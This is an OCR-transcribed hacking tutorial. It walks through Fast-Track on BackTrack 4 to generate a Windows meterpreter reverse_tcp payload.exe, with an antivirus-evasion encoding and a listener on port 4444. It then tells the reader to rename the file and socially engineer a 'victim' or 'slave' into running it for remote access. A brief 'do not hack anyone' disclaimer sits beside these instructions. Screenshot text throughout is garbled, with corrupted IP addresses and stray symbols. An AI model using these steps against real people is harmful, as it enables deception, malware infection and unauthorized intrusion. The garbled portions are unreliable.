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BackTrack 4 is an penetration testing tool that is run as an live CD , itis an
modded form of Linx(Ubuntu) that can be used for hacking.In this tutorial | will
show you how to generate payloads in it.

ABOUT THE WAYS IN WHICH YOUR COMPUTER MIGHT BE
EXPLIOTED !!!! DO NOT USE THIS TO HACK ANYONE !!!! READ
MORE HERE !!!! DO NOT USE THIS ON ANYONE ELSE OTHER THAN
YOURSELF!

First get backtrack at and set it up as per myguide here.

In this tutorial we will be using a useful tool on Backtrack 4 to create a payload
which we will then send a slave, the payload created is in exe, once the slave is
Social Engineered into running the payload, A meterpreter session will appear to
us. We will set it up with a listener on a port, meaning we will have a shell prompt
open, waiting for a connection from the slave, once this occurs we have a session,
and entry to the victims machine.

Start by opening Bt 4 etc, then scroll to Backtrack, Penetration, Fast-Track, Fast-
Track interactive, this will open a prompt like below.
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Shell - Fast-Track Interactive

Session Edit View Bookmarks

Settings Help

Your system has all requirements needed to run Fast-Track!

Fast-Track Main Menu:
Fast-Track - Where it's OK to finish

Version: v4.0

Written by: David Kennedy (Rel1K)

http://www.securestate.com

http://www.thepentest.com

Fast-Track Updates
Autopwn Automation
Microsoft SQL Tools
Mass Client-Side Attack
Exploits
Binary to Hex Payload Converter
Payload Generator
Fast-Track Tutorials
Fast-Track Changelog

. Fast-Track Credits

. Exit

HEHOONOUAWN -

Enter the number: |
& Shell

YT ERS -

in under 3 minutes...

Shell - Fast-Track Interactive

Session Edit View Bookmarks

Settings Help

install.sh||Below is a list of encodings to try and bypass AV.

Select one of the below, Avoid_|

. avoid_utf8_tolower
. shikata_ga_nai
. alpha_mixed
. alpha_upper
. call4_dword_xor
. countdown
. fnstenv_mov
. jmp_call_additive
. nonalpha
. nonupper
. unicode_mixed
. unicode_upper
. alpha2
. No Encoding

tutl.png

WNO WU AWN

Enter your choice : 2

UTF8_tolower usually gets past them.

Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell):

& Shell

0 .o & % -

Shell - Fast-Track Inte

It will then ask you for an Ip address, you can either enter your own, or the
victims, its easier to enter our own (the listener). To obtain your IP on Backtrack
4, open a shall and type ifconfig, your IP appears after inet addr, like below.
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Session Edit View Bookmarks Settings Help

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

# ifconfig

Link encap:Ethernet Hwaddr 08:00:27:2e:b7:c7

inet addr: i Bcast:1%:.0....20 Mask
inet6 addr: fe80::a200:27ff:fe2e:b7c7/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:10 errors:® dropped:0 overruns:0 frame:@
TX packets:16 errors:0 dropped:® overruns:0 carrier:®
collisions:0 txqueuelen:1000

RX bytes:1916 (1.9 KB) TX bytes:1740 (1.7 KB)
Interrupt:10 Base address:0xd020

Link encap:Local Loopback

inet addr:1Z] $.1 Mask:Z.. i.l.o

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:2 errors:0 dropped:0 overruns:0 frame:0
TX packets:2 errors:0 dropped:0 overruns:@ carrier:0
collisions:0 txqueuelen:0®

RX bytes:100 (100.0 B) TX bytes:100 (100.0 B)

:#I

= X0, il \: = % - Shell - Fast-T/ @ root@bt: ~ - FiE uy :‘, 1 2 =E =3 »
It will then ask you to choose a port for the listener, choose a random port that isnt
in use, for this we will use port 4444, and then choose the payload to be compiled
in exe format rather than shell script (text). Also choose yes on starting a listener,
this basically means a shell will be opened blank, waiting for the slave to run the
exe, once run the connection is made, and the listening shell will then spawn the
meterpreter session between your and the victims machine.

Shell - Fast-Track Interactive

Session Edit View Bookmarks Settings Help

14. No Encoding
Enter your choice : 2

Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell):
10.0.2.15
Enter the port of the Listener: 4444

Do you want to create an EXE or Shellcode

1. Executable
2. Shellcode

Enter your choice: 1

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 290

Options: LHOST=10.0.2.15,LPORT=4444,ENCODING=shikata_ga_nai

A payload has been created in this directory and is named 'payload.exe'. Enjoy!

Do you want to start a listener to receive the payload yes or no: yes]]

& Shell

0N = % ~| |/ shell - Fast-Track Inte Ewsg 102 0: 8>
At this point, the payload has been created, and the listener has launched, all you
have to do now is|ocate the payload, | would advise you to rename it, Social
Engineer the slave into running it, and then check your listening shell for a
connection. If successful you will then have a meterpreter session opened and
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entry to the victims machine.

Below is the location of the payload you will send.
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